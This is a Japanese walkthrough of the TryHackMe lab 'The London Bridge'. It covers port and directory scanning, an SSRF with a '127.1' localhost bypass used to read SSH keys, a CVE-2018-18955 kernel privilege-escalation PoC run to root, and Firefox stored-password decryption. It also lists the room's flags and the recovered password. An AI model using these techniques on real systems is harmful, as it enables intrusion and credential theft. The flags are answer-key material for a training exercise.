概要
TryHackMe「The London Bridge」のWalkthroughです。
Task1
Q1.What is the user flag?
Hint.Check for other parameters that may been left over during the development phase. If one list doesn't work, try another common one.
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.70.215 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 58:c1:e4:79:ca:70:bc:3b:8d:b8:22:17:2f:62:1a:34 (RSA)
| 256 2a:b4:1f:2c:72:35:7a:c3:7a:5c:7d:47:d6:d0:73:c8 (ECDSA)
|_ 256 1c:7e:d2:c9:dd:c2:e4:ac:11:7e:45:6a:2f:44:af:0f (ED25519)
6630/tcp filtered unknown
8080/tcp open http-proxy gunicorn
|_http-server-header: gunicorn
|_http-title: Explore London
| fingerprint-strings:
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Fri, 11 Oct 2024 11:27:13 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 2682
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Explore London</title>
| <style>
| body {
| font-family: Arial, sans-serif;
| margin: 0;
| padding: 0;
| background-color: #f2f2f2;
| header {
| background-color: #333;
| color: #fff;
| padding: 10px 20px;
| text-align: center;
| background-color: #444;
| color: #fff;
| padding: 10px 20px;
| text-align: center;
| color: #fff;
| text-decoration: none;
| margin: 0 10p
| HTTPOptions:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Fri, 11 Oct 2024 11:27:14 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, OPTIONS, GET
|_ Content-Length: 0
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.6p1 |
8080 | http-proxy | gunicorn |
8080
にアクセスします。
ディレクトリスキャンをします。
$ dirsearch -u http://10.10.70.215:8080/
[07:32:20] 200 - 2KB - /contact
[07:32:30] 405 - 178B - /feedback
[07:32:32] 200 - 2KB - /gallery
[07:33:23] 405 - 178B - /upload
[07:42:50] 200 - 823B - /dejaview
/dejaview
でURLを指定して画像を表示できました。
ヒントからリクエストのパラメータが他にもあるようなのでファジングします。
$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -request dejaview_request -u http://10.10.70.215:8080/view_image -fs 823
www [Status: 403, Size: 239, Words: 27, Lines: 5, Duration: 240ms]
www
パラメータを発見しました。
SSRF攻撃が出来そうです。
http://127.0.0.1
でリクエストを送りましたが、アクセス拒否されました。
Localhostアドレスのフォーマットバイパスを試します。
http://127.1
でバイパスできました。
ローカルのディレクトリを列挙します。
$ ffuf -c -w /usr/share/wordlists/dirb/common.txt -request ssrf_request -u http://10.10.119.107:8080/view_image -fs 469
.bash_history [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 245ms]
.bashrc [Status: 200, Size: 3771, Words: 522, Lines: 118, Duration: 250ms]
.cache [Status: 200, Size: 474, Words: 19, Lines: 18, Duration: 251ms]
[Status: 200, Size: 1270, Words: 230, Lines: 37, Duration: 296ms]
.profile [Status: 200, Size: 807, Words: 128, Lines: 28, Duration: 303ms]
.ssh [Status: 200, Size: 399, Words: 18, Lines: 17, Duration: 332ms]
index.html [Status: 200, Size: 1270, Words: 230, Lines: 37, Duration: 263ms]
static [Status: 200, Size: 420, Words: 19, Lines: 18, Duration: 251ms]
templates [Status: 200, Size: 1294, Words: 358, Lines: 44, Duration: 367ms]
uploads [Status: 200, Size: 630, Words: 23, Lines: 22, Duration: 244ms]
.ssh
フォルダからid_rsa
,authorized_keys
を得られました。
SSH接続をします。
$ ssh -i id_rsa beth@10.10.119.107
beth@london:~$
ユーザーフラグを検索します。
$ find / -name *user.txt* 2>/dev/null
/usr/share/doc/fontconfig/fontconfig-user.txt.gz
/home/beth/__pycache__/user.txt
/home/beth/__pycache__/user.txt
からユーザーフラグを入手できました。
THM{l0n6_l1v3_7h3_qu33n}
A.THM{l0n6_l1v3_7h3_qu33n}
Q2.What is the root flag?
KernelのバージョンからCVE-2018-18955
が見つかりました。
$ uname -a
Linux london 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
PoCは下記リポジトリを使用しました。
ターゲットマシンにファイルを用意し、エクスプロイトコードを実行するとroot権限を取得できました。
$ ./exploit.dbus.sh
[*] Compiling...
[*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service...
[.] starting
[.] setting up namespace
[~] done, namespace sandbox set up
[.] mapping subordinate ids
[.] subuid: 100000
[.] subgid: 100000
[~] done, mapped subordinate ids
[.] executing subshell
[*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf...
[.] starting
[.] setting up namespace
[~] done, namespace sandbox set up
[.] mapping subordinate ids
[.] subuid: 100000
[.] subgid: 100000
[~] done, mapped subordinate ids
[.] executing subshell
[*] Launching dbus service...
Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
[+] Success:
-rwsrwxr-x 1 root root 8392 Oct 11 21:01 /tmp/sh
[*] Cleaning up...
[*] Launching root shell: /tmp/sh
root@london:/tmp/CVE-2018-18955/10.6.55.144#
/root/.root.txt
からルートフラグを入手できます。
THM{l0nd0n_br1d63_p47ch3d}
A.THM{l0nd0n_br1d63_p47ch3d}
Q3.What is the password of charles?
/home/charles/.mozilla/firefox
からプロファイルデータを発見しました。
root@london:/home/charles/.mozilla# ls -la firefox
total 12
drw------- 3 charles charles 4096 Mar 16 2024 .
drw------- 3 charles charles 4096 Mar 16 2024 ..
drw------- 16 charles beth 4096 Mar 16 2024 8k3bf3zp.charles
ダウンロードし、復号ツールでパスワードを復号できました。
$ python firefox_decrypt.py ../firefox/8k3bf3zp.charles
2024-10-12 00:59:09,747 - WARNING - profile.ini not found in ../firefox/8k3bf3zp.charles
2024-10-12 00:59:09,747 - WARNING - Continuing and assuming '../firefox/8k3bf3zp.charles' is a profile location
Website: https://www.buckinghampalace.com
Username: 'Charles'
Password: 'thekingofengland'
A.thekingofengland